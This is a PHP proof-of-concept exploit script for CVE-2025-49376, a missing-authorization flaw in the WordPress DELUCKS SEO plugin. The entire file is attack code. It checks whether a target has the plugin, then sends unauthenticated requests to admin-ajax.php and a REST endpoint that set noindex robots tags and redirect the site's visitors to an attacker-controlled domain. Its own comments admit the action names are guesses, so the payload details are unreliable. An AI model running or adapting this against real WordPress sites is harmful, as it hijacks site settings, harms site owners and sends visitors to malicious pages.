<?php
/**
* CVE-2025-49376 PoC - DELUCKS SEO Missing Authorization
* Vulnerability: Broken Access Control in WordPress DELUCKS SEO plugin <= 2.5.9
* Description: Unauthenticated access to restricted plugin functionality
*
* Usage: php poc.php <target_url>
* Example: php poc.php https://victim-wordpress-site.com
*/
// Target WordPress site URL
$target = isset($argv[1]) ? rtrim($argv[1], '/') : 'https://victim-wordpress-site.com';
// Step 1: Verify the target is running WordPress and the DELUCKS SEO plugin
echo "[*] Checking if target is running WordPress with DELUCKS SEO plugin...\n";
$plugin_check = @file_get_contents($target . '/wp-content/plugins/delucks-seo/readme.txt');
if ($plugin_check === false || stripos($plugin_check, 'delucks') === false) {
echo "[-] DELUCKS SEO plugin not detected. Proceeding anyway...\n";
} else {
echo "[+] DELUCKS SEO plugin detected!\n";
}
// Step 2: Exploit the missing authorization vulnerability via WordPress AJAX endpoint
// The vulnerability allows unauthenticated users to access restricted plugin functionality
echo "[*] Attempting to exploit missing authorization via admin-ajax.php...\n";
$ajax_url = $target . '/wp-admin/admin-ajax.php';
// Construct the malicious payload targeting the vulnerable plugin action
// The plugin fails to verify user capabilities before processing the request
$payload = http_build_query([
'action' => 'delucks_seo_action', // Example vulnerable action
'setting' => 'malicious_value', // Unauthorized setting modification
'option' => 'seo_redirect',
'data' => json_encode([
'meta_robots' => 'noindex,nofollow',
'redirect_url' => 'https://attacker-controlled-site.com',
])
]);
// Send the unauthenticated request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/x-www-form-urlencoded',
'User-Agent: Mozilla/5.0 (compatible; CVE-2025-49376-PoC)',
'X-Requested-With: XMLHttpRequest'
]);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[*] HTTP Response Code: $http_code\n";
echo "[*] Response Body: $response\n";
// Step 3: Alternative exploitation via REST API (if applicable)
echo "[*] Attempting REST API exploitation...\n";
$rest_url = $target . '/wp-json/delucks-seo/v1/settings';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
'redirect_type' => '301',
'redirect_target' => 'https://attacker-controlled-site.com',
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/json',
'User-Agent: Mozilla/5.0 (compatible; CVE-2025-49376-PoC)'
]);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$rest_response = curl_exec($ch);
$rest_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[*] REST API Response Code: $rest_code\n";
echo "[*] REST API Response: $rest_response\n";
if ($http_code === 200 || $rest_code === 200) {
echo "[+] Exploitation may have succeeded! Check the target's SEO settings.\n";
} else {
echo "[-] Exploitation attempt completed. The actual action names may vary.\n";
}
?>